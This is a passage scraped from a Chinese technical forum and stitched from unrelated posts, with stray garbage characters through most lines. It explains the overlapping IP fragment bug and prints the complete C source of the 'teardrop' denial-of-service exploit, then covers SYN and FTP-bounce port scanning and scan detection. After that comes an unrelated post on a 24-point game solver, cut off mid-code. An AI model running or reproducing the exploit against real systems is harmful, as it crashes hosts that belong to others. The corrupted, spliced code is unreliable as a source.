i = prev-&gt;end - offset;
$ G) T/ A" p( ~9 G: N9 Foffset += i; /* ptr into datagram */
) r  S" r0 ]9 Z  ]7 x5 F9 ~8 M0 W8 nptr += i; /* ptr into fragment data */
2 c; C# ?5 }' p, R5 S2 i}</P><P>/* Fill in the structure. */
3 b5 H6 T8 C# ?1 sfp-&gt;offset = offset;) A  j8 Z" `, F! R/ V8 a9 K
fp-&gt;end = end;0 [: w* q1 o& M! G3 J5 T
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:: s/ H* d% l! h- L' [; s
第一个碎片:mf=1 offset=0 payload=20$ a" w, h. i4 Q  l  j- _: w
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 0 p+ U5 ?$ g! R( y2 A
offset=02 v& A7 e% k* r- x' L; p+ l- N( c
这样第二个碎片的 end=9+10=19
6 u1 i) C1 s. K1 E! e9 z' soffset=offset+(20-offset)=20
+ ?  s' n) ^+ {( U! vfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
4 D* ?* g9 t, _# ]1 G. ]+ w& D. {4 d/*
3 t# r! Y% y4 z& x7 u' _, D, @* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
, w$ G; {1 U: T2 d$ O4 f7 v*% F3 i2 J) A) I
* Linux/NT/95 Overlap frag bug exploit
* }4 Z/ j- B$ L, ^*9 U3 h6 Q  N- f: q" v: y1 x2 L4 y
* Exploits the overlapping IP fragment bug present in all Linux kernels and8 L/ q- g. o& a8 M. P/ _7 @
* NT 4.0 / Windows 95 (others?)3 V$ {, h' i$ d. Y% Z% M0 J
*9 V1 y( I* }: ^2 ?6 j9 P2 ^6 W2 J
* Based off of: flip.c by klepto
( a/ B+ S! a. _7 \* Compiles on: Linux, *BSD*
1 W- }. j: t% \- u/ F*
! v5 J& _5 }7 }2 L  m* gcc -O2 teardrop.c -o teardrop
! Y* W" f# C/ l% I' x* OR) D8 I1 \8 ~! t( T5 `3 r+ h
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
+ [) B* X8 a  ^* I' h) F*/</P><P>#include <STDIO.H>. u8 d5 u& Z* x& r2 d' I
#include <STDLIB.H>' S# @7 V# ~5 ^* o& i# L/ T- H6 ^- c& h
#include <UNISTD.H>
3 V2 W5 B( L, g7 L#include <STRING.H>
6 h- g& S- D3 m5 `" |0 D6 R7 K#include <NETDB.H>
/ T- S1 o, H7 m#include <NETINET in.h>+ k% H: B. s: J( u; h9 n
#include <NETINET udp.h>$ e8 t9 R0 G0 K( ]( ?
#include <ARPA inet.h>
9 |! E* h! W# @5 s$ I3 z, `#include <SYS types.h>% L. l+ X3 j1 ]6 j
#include <SYS time.h>* {( V2 F$ G; f5 b6 U( x
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
! Y' F7 [1 \5 E/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */  o1 Q# C. I" R6 c' W: K
#define FIX(n) (n)( s6 C0 z0 }5 i& \# x' Z2 [
#else /* OpenBSD 2.1, all Linux */
/ ~/ c' M* B2 K6 P: S9 |#define FIX(n) htons(n)
: I6 A8 X; t2 m) B' h* n  ^/ T$ b' U#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */1 \, w$ J6 t1 A5 E
#define IPH 0x14 /* IP header size */8 u7 S9 K; F* T, R2 i- k8 x  h
#define UDPH 0x8 /* UDP header size */
  H! ^5 X" c1 \' K: c#define PADDING 0x1c /* datagram frame padding for first packet */
$ j4 W- [* Q8 h/ J' t+ a#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */$ A+ q0 u$ h. W) f+ x, j! y2 u
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can8 d0 e' P' A! h# q; F7 c7 {8 D$ S! \
* withstand maybe 5 or 10 sometimes... Experiment.$ W8 h4 M3 @: V, Z6 P& Z
*/</P><P>void usage(u_char *);0 ^" E( u2 q6 I/ u
u_long name_resolve(u_char *);
# W, ^* x$ |4 v1 gu_short in_cksum(u_short *, int);3 {# L# W+ D- b4 K/ {
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)8 G. X, s% r# k- u8 @9 _
{
! V, o0 d/ N* \" B8 t" q+ hint one = 1, 5 F$ F# e) C7 ^; c/ j4 S# v* A+ d! L
count = 0,
' V7 V7 q% {2 i8 z( m+ Di,
  ]( k. n' \& k4 D. i, Q3 v! j$ Vrip_sock;: F8 i1 [2 l6 h- C2 N2 M
u_long src_ip = 0, dst_ip = 0;( J9 M6 S- v; O3 |. P7 ~7 ~
u_short src_prt = 0, dst_prt = 0;1 n% o" i) A' h5 ~
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
! P; @( R' H1 cif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
( s, I; z- `& O# D4 O: {  }{* G+ z% K$ [: N- |$ I& E
perror("raw socket");7 ^7 e0 Q' k! h& P
exit(1);5 U' [( h+ I9 l9 y# O  O
}- v; z1 i6 x% `7 s. f, y5 H
//由系统处理IP校验和。
' _( J0 m) M& C7 b9 b- U+ Vif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))& G4 L1 i' O1 L( s
&lt; 0)" P! W7 Y7 y5 N- M& @
{
5 k2 n* t; K" K( G3 g% F% Pperror("IP_HDRINCL");
( [( N' V& E2 X# Q! t; j, Uexit(1);3 `5 c9 {0 s! C8 }1 r
}</P><P>if (argc &lt; 3) usage(argv[0]);
* M* t" o- g3 U) H; o6 Kif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))( C" b9 O* N, Y& p6 ~' `2 L
{3 T" A6 g7 T0 M6 m
fprintf(stderr, "What the hell kind of IP address is that?\n");
. q' p# j1 L, l7 _% M+ P" V) G+ Mexit(1);
* I/ [3 m2 F3 }9 U}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)$ z: Z7 a/ z  |- P8 @& O
{
- ?$ H  H: d, p2 S8 qswitch (i)
9 @, T+ u4 n0 S, L: W( `' W  P" E{9 A: `8 K/ I% \
case 's': /* source port (should be emphemeral) */* G$ v* ~% h% ?# J; H
src_prt = (u_short)atoi(optarg);! e1 @4 l: u% Q' a6 w
break;4 Y, I; _+ L3 {
case 't': /* dest port (DNS, anyone?) */) |. e) t  X0 J/ w$ s& ?5 S
dst_prt = (u_short)atoi(optarg);! b( D- J9 O2 Q/ t/ r8 f) ?2 [0 z' H
break;% q4 V2 G- j, I6 D4 A9 S
case 'n': /* number to send */
1 @* j$ T$ N! `4 ycount = atoi(optarg);# h- c# h* l! y7 \- ]
break;
# X. r* A- \' M; t' h2 F% mdefault :
  {/ u7 O$ p* }1 a8 E5 D  l7 c- Eusage(argv[0]);- |8 I" i5 R: K( @! n$ L6 ]
break; /* NOTREACHED */
7 ~9 Q$ R2 K2 `* k+ Z- K}2 m' f! I! j1 g) E* x& E8 d
}</P><P>srandom((unsigned)(time((time_t)0)));! x8 i  Z( W$ @* {, w
if (!src_prt) src_prt = (random() % 0xffff);3 i) u4 [, k: v  Q
if (!dst_prt) dst_prt = (random() % 0xffff);
( P: G' d! @% C, z5 Lif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");( X( x, U* W. K' `9 T
addr.s_addr = src_ip;3 K1 I7 x, m7 [$ n
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
- |% G7 l; \3 c/ Caddr.s_addr = dst_ip;5 {9 @3 E6 V* T$ a/ V! b
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);4 u1 P: q0 x* [! o0 Y
fprintf(stderr, " Amt: %5d\n", count);6 f0 \! e# I( K0 r0 Z
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
  A& D5 Q3 M7 W) z, S- k7 X{
7 D1 M1 h  o* b7 K% B- Dsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);: h. A* R9 |! \
fprintf(stderr, "b00m ");( A: }6 p/ l6 Z" E8 e; p
usleep(500);0 W; }% W8 Z! R1 l' m: o& |
}
- P- i3 F% C% K& n# E$ `' n3 Ffprintf(stderr, "]\n");
/ Q  V, [* M$ e% N+ X+ ureturn (0);) y7 U: e4 U9 ]
}</P><P>/*3 N/ |  B5 d1 L  C( H/ W
* Send two IP fragments with pathological offsets. We use an implementation( M" U6 b7 r' h( R+ o7 W7 h. O
* independent way of assembling network packets that does not rely on any of
+ f! n' Q0 e) f; A0 V0 j9 n/ A; A* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  S3 t! b6 r" P: Z. C$ W6 D3 F*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,$ b0 D4 c9 Y: A9 @) l
u_short dst_prt)) F' r# @( Y- l. x( _. L) B
{
9 @8 p* x  T) d+ O! lu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
8 _, B- Y# O4 O& B  `6 ku_char byte; /* a byte */
# m* {: {% c# ~. w, z/ j  Ostruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
) J: I6 G" I. ~5 V5 P, _sin.sin_port = src_prt;
2 l! Q0 j( E  G! _  Hsin.sin_addr.s_addr = dst_ip;</P><P>/*/ ~4 z. H' X  ]7 x( w- S
* Grab some memory for our packet, align p_ptr to point at the beginning
: V% @' ~% N& X4 A* of our packet, and then fill it with zeros.* i" U5 r' B% g: ]! Q# S  Y
*/2 `. m# W9 @1 w3 t2 ]
packet = (u_char *)malloc(IPH + UDPH + PADDING);' `1 Y4 T- T' C
p_ptr = packet;
) }% s3 X% L: G0 E2 X- Qbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */3 y6 i' |; P. l# i9 t$ ^: q
memcpy(p_ptr, &amp;byte, sizeof(u_char));
' ]3 i* o( m1 @5 cp_ptr += 2; /* IP TOS (skipped) */
8 |2 H6 h' H' I6 V3 H7 w+ ]*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */4 ]8 x; p1 M0 _5 E1 d6 k
p_ptr += 2;9 d. }7 P  r2 V9 ~$ L
*((u_short *)p_ptr) = htons(242); /* IP id */
2 e* O7 _1 C* r$ @% c" n' Cp_ptr += 2;
7 D: D; Z- y! i*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */+ W0 Z* W+ j% X6 B- D; T
p_ptr += 2;$ h0 J+ H1 C- k' x+ L" I" Q
*((u_short *)p_ptr) = 0x40; /* IP TTL */
, e8 @1 O1 f# r: K, jbyte = IPPROTO_UDP;& e9 G# n& u& O1 q; U  K
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));6 G6 c7 j; z, k9 @. T
p_ptr += 4; /* IP checksum filled in by kernel */
. b2 Y  N- ~: T! S, n- P8 X*((u_long *)p_ptr) = src_ip; /* IP source address */
- D3 I3 h( }, L4 m# R$ i7 X9 Ip_ptr += 4;* g, _9 I# N/ p0 W5 G4 i" p) N7 V
*((u_long *)p_ptr) = dst_ip; /* IP destination address */2 j, Y# A! i7 @$ y
p_ptr += 4;
. m: ~) o, J- e) R* k, |*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
$ W. L$ |" A' J; k& t' qp_ptr += 2;
/ i3 R* k, t1 O; j+ o*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
5 }) K# t  f. J4 T! ~/ ^5 y2 Mp_ptr += 2;$ i  C1 I, N+ Z
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,: `: {. E& f1 q( l
sizeof(struct sockaddr)) == -1)5 E% H$ R+ Y: M2 G
{% B: C! u7 q. l* C# B7 N
perror("\nsendto");( B- E( x: G6 H7 c$ [5 a
free(packet);& ^1 W# f: K2 g8 ?
exit(1);
$ W- r; n0 N6 `8 u, p}</P><P>/* We set the fragment offset to be inside of the previous packet's
+ d5 C' q2 M0 c, f* payload (it overlaps inside the previous packet) but do not include& |+ Y  M! [/ J. A" _/ r+ q3 ]; z& J
* enough payload to cover complete the datagram. Just the header will) K, M$ M- Q( |6 w/ p# e
* do, but to crash NT/95 machines, a bit larger of packet seems to work; }: h7 ^3 N; n0 l4 U
* better.
! w/ I4 b/ A5 T; o*/5 a. q# h* T! e7 Q
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */* b6 U9 y+ `$ H  Q; e
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);% p- D" a( L9 U- O
p_ptr += 4; /* IP offset is 6 bytes into the header */5 z! C" t2 C# N7 w
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,( ^. N2 i1 S. Q) J+ B) p; F
sizeof(struct sockaddr)) == -1)
3 z+ Z* U) R" Q" p/ |8 o{, k) U: P$ `7 p: C" h: |( e
perror("\nsendto");1 h1 L& k# U; ~7 E
free(packet);
, F2 b' Q2 _  u' P# a0 i' Yexit(1);$ D9 O+ R  r  _6 `5 d, s9 j
}
$ J9 F& T9 U: ]: z0 a( z2 A6 Pfree(packet);* R! x( |+ G* j$ Q: N$ h! S8 v
}</P><P>u_long name_resolve(u_char *host_name)
9 h# _6 L9 o! n* o0 Z8 O{( m& S, V2 O* }4 c4 W5 C* ]
struct in_addr addr;
( d' j( M( Y9 r$ ?  M& {. K/ y) r6 Nstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1): ]- I) ?6 ]+ q1 ?, j$ W- M1 o
{5 ]: o% S' F1 }; j
if (!(host_ent = gethostbyname(host_name))) return (0);
( b1 S/ A/ J' [2 {! r4 B0 q0 a! L7 |bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);0 Y5 T) s* }* o) v7 M$ X  `0 z
}
) _# X: m; [2 R+ b6 ?5 H. Wreturn (addr.s_addr);+ g1 U! y) I9 `6 S2 h' n' i
}</P><P>void usage(u_char *name)2 K" N1 m; i$ {2 u
{
( W* y- m! x+ `4 U1 sfprintf(stderr,& _7 v/ G% F$ R  V5 p
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
) V/ S2 C+ e( ~+ b! `5 kname);
# G/ L6 R# S6 Z" M2 E8 hexit(0);
/ P- d$ d9 z& l6 o}</P><P>: U' H( Q2 N' M
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: 3 J; s( |6 y5 y! m; x% H, _
(1) Half-open(半打开)
: W6 i7 I. L; D, w利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
  B% h* [- H+ E) d如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
* w* s( A& M# |$ v3 J. Y6 q  h利用了FTP的port命令,例如可以这样作:. M, I! x4 M! {/ [% M# H0 Y( f- z
选择一个FTP服务器,连上后令port命令指向目标机,如果返回" V1 t# X% E( x7 V- f( P
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则/ x' U( K6 d: `$ V# w- e
该端口无服务。
' \+ i! G+ _" F% r/ \2 w8 H/ ?5 q! N* otelnet 192.168.1.13 21
* z1 U4 D: t4 w3 r. ?& KTrying 192.168.1.13...
2 ]  m- v+ _- ZConnected to pp.bricks.org.( s( W5 D, e2 m, d
Escape character is '^]'.& W  R; w9 {* B
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) 9 p( ~1 J6 F5 y4 N8 A
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
$ T0 u- [: W7 V. L6 l331 Guest login ok, send your complete e-mail address as password.
1 R$ A1 I( }; v; {8 E) T3 D  p! e8 wpass aa@aa.aa
' M( g7 f' @" F230 Guest login ok, access restrictions apply.
/ ?, \/ F% P& E3 Zport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.- E; F. \& ^6 F  K5 ?0 n1 j9 ^: k
425 Can't build data connection: Connection refused.8 D: ?! m4 J  Z  a4 `. M
//该端口未活动 & S7 z  O+ _- x. a% P! B/ d  P6 W5 ]
150 Opening ASCII mode data connection for file list.
+ t* d) Y6 j! U6 }, q! V4 B226 Transfer complete.
8 k3 _& Z* c) Y" a6 a* v//该端口活动中
- g2 i" O8 r2 `但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
4 g! Q9 a. u/ V& {SYN|FIN ACK or SYN|ACK* RST) e8 Y. f/ \, h$ l# z" N: V6 x
ACK Nothing RST  o6 H$ p0 W0 H
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport9 v' I# [8 _, E. n
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
; r9 b7 G  k0 g, c/ |$ f若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认8 o0 w+ C9 \1 c! |
定它在向你做portscan。</P><P>notes:; ]+ Y) Q0 E, ?
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
+ n- [, Y! }2 P$ V1 {* [: m: Q而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的% b- i3 U7 P) q: {9 A: J
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
& q3 B: _; g6 {2 T  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
" P& E8 P  U. G9 j2 e
) R5 m' b; U" x0 _0 [0 T  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
) C' x0 V6 c" x# ]首先穷举的可行性问题。我把表达式如下分成三类——! X- X/ z! }8 g4 s0 a: G1 y
<FONT color=#ff0000>1、 无括号的简单表达式。
# O- t+ _( d9 @7 P2、 有一个括号的简单表达式。5 U) T$ r: g4 I8 \: }
3、 有两个括号的较复4、 杂表达式。
. Z  u0 T# W/ X0 y6 o</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:0 V& ^2 H- y+ i7 l/ g# y% b
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
( D  h$ ]# s# ^- z. X7 L/* c[] 存放四张牌的数组 */$ N& [9 @/ k6 ?, f3 k1 J
/* k[] c[]种四张牌的代号,其中k[I]=I+1。% N, f3 u" @4 {$ }" J9 n, w
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */! t1 C; z2 m, m8 R- L7 i
/* kans[] 暂存生成的排列组合 */
+ [& y: m; n9 A5 l9 F/* j 嵌套循环的次数 */
; l3 J$ R0 O% e% N) Z, E# k/ B0 W; Wint fans(c,k,ans,kans,j)9 f7 |( C8 l' c) r* j
int j,k[],c[];char ans[],kans[];
& Q1 s* q; ^/ b* q{ int i,p,q,r,h,flag,s[4],t[4][4];
7 i( j* F( f6 Z7 z( hfor(p=0,q=0;p&lt;4;p++)$ b  ~6 `; n9 F) o$ b# q
{ for(r=0,flag=0;r<J;R++)) i( l; F# Z+ G/ [
if(k[p]!=kans[r]) flag++;7 w' w8 r% ^; M
if(flag==j) t[j][q++]=k[p];
5 w9 O& H6 P' M( n: `/ X7 _}! R+ h& m# P! i! [
for(s[j]=0;s[j]&lt;4-j;s[j]++)
3 n) W9 n0 J0 i) {/ h: ~* C{ kans[j]=t[j][s[j]];
2 g2 \1 m6 }3 {" kif(j==3) { for(h=0;h&lt;4;h++)
; \+ V% H: G1 z: W5 V7 j' Yans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表2 b$ i5 T0 s- F' C# H, ]' w# x0 R5 H" f
达式中的位置 */
' z6 c8 Y( F& @6 ofor(h=0;h&lt;3;h++)2 c6 J2 U/ ]$ E! [- T; \
symbol(ans,h); /* 在表达式中添加运算符号 */1 d) k1 D# ^: `1 Q) j* L
}
5 F2 u2 ~. t! E# n) lelse { j++;
+ ~$ r3 ]1 A& _* n& |0 cfans(c,k,ans,kans,j);+ V+ S+ O. W7 O; {. L
j--;
9 G7 ^# `) a- t$ o7 S}5 T, B- g9 ^: [, {8 U# {0 j0 k! A  J
}
8 e4 Q* ?$ ?5 {3 D}</FONT>) m/ z# T2 f0 I3 m" y9 _" z: p- K
1 Q8 K" Y, H  \# d! r7 D
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:6 A. g; f6 {+ |! |2 v

& B. J& l* y$ j5 [<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*// e- Z  s5 E7 @! v7 G
int sans(ans,sy,j,h)
' }, C' m6 y/ Zchar ans[],sy[];int j,h;
; u  h1 `; b) g0 A4 ]  @/ W{ int i,p,k[3],m,n; char ktans[20];) k0 A7 M* K7 ^% i% I+ }
for(k[j]=0;k[j]&lt;4;k[j]++)2 r' |4 j9 U& [
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位. Z3 n, K7 J! J0 v6 S
这里的三个运算符号分别存放在1、3、5位*/ # ]2 O, ~) C* J
if(j==2)
; Z8 ?) x, ?- R, {3 r" t) H5 Q{ ans[5]=sy[k[j]];0 d. [4 P" A, @' E, ^# U3 P: E0 u
/* 此处根据不同的表达式形式再进行相应的处理 */
6 ?7 c* B% E" N; U}7 g- B- k4 j( J. P+ \5 C; b
else { j++; sans(ans,sy,j--,h); }
, l4 ^" I& U' {. s% b( z# i8 s}
& o  N, u3 R" q# r$ V}
6 m, C& E; V7 Y1 j  R9 T
! E: A; X9 C: Y</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
; F8 b, N* c" `/ q$ @9 wfor(m=0;m&lt;=4;m+=2)3 Z& `$ \+ t/ S' k& A0 h
for(n=m+4;n&lt;=8;n+=2)4 x/ E. f. y" w3 p4 }" C1 C# o
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。. ?/ B9 R. U! d6 j/ ]

# @+ t) Q7 @% n# [3 a+ U& R0 T. i# @4 N  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
! D! ~2 P+ E. @, \- Y" j9 \</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
8 c6 Y& J! o. M$ P& p0 W在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。& R- v6 @7 N( {9 V& H
( c: N8 l9 ?; y: ]; X$ w2 W0 t' T7 \
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。" X! I+ K# c* Y/ _

: o( o4 P$ E2 G9 \2 d' b/ s2 x  那么作为栈的著名应用,表达式的计算可以有两种方法。' T% r2 G) }6 z: p& x, k+ W/ i& b$ Y
, M7 `+ w! a, I* d( d) z
  <FONT color=#ff0000>第一种方法——</FONT>
2 f& N) [3 A7 y% Z1 @' }' F  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
: B: g/ [" L5 Y  u  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:+ S4 p3 Z% P/ `% j; }4 h/ |, I
1、 若W为操作数
/ m7 i: W- B4 n6 ~2、 则将W压入操作数栈OVS
; D1 F$ i+ z- k1 T% E9 M; m3、 且继续扫描下一个字符/ q" v. D: H, v
4、 若W为运算符
6 R0 l1 O( E1 j7 L0 j5、 则根据运算符的性质做相应的处理:
0 u* Z4 n, _! a7 v7 T(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。, O, D( U6 X, x) M" I7 j( B7 t
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。& t6 p$ r/ o: x9 S$ w% W
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
  b% ^& ?( ~" v- E(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。2 t3 C6 D& g5 L3 M
! ?; |6 j+ ^7 {5 {* {4 y3 U
<FONT color=#ff0000>  第二种方法——</FONT>
" |8 H# T8 }- o! R; }2 p( @. J  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。/ @6 _7 g! g4 A$ e! d& a% `
: b9 f( u; }( Q9 \9 M* B! U9 T- h
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。8 Y1 d/ J, U! z1 w( X& A

9 p6 f, A9 C; r/ J" R7 i3 c   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。) q) A: T  y+ g% B& i) }
表达式 波兰表达式) a( U/ H8 ]# A; ^# \
A-B AB-- u- s( H7 v; _5 _9 w
(A-B)*C+D AB-C*D+
5 z$ O- l+ @8 a" T2 d3 h7 [* cA*(B+C/D)-E*F ABCD/+*EF*-) i% I/ C- ^  {) j
(B+C)/(A-D) BC+AD-/
" P) ?7 H9 |& h+ z' ^
. h! r' {4 ?; b/ ~0 d% v  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。  d1 J* j7 I6 @7 Z" W0 f

" \- _' C' z8 \+ o2 }# ~+ M, [  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。4 t; p% s! ^  T$ M

" u. ]) k. s3 t# {: Q& e  下面给出转换和计算的具体实现程序——
' H2 p% x% U" V
& l5 B7 ~# @3 v# `. `: C<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
: A7 p, P: {, U1 o+ ~, n& r5 F# h' Q/ Xint first(char c)
; g! {# O2 r) v* k3 C; |# C{ int p;
$ h, v' k6 h4 r% g$ q# Z; N9 Z  Cswitch(c)& w% f$ t1 G4 f9 }
{ case '*': p=2; break;2 \5 G' K/ q  P, ?1 _
case '/': p=2; break;! s8 {8 f" s3 K0 @) q, j# D5 a2 {
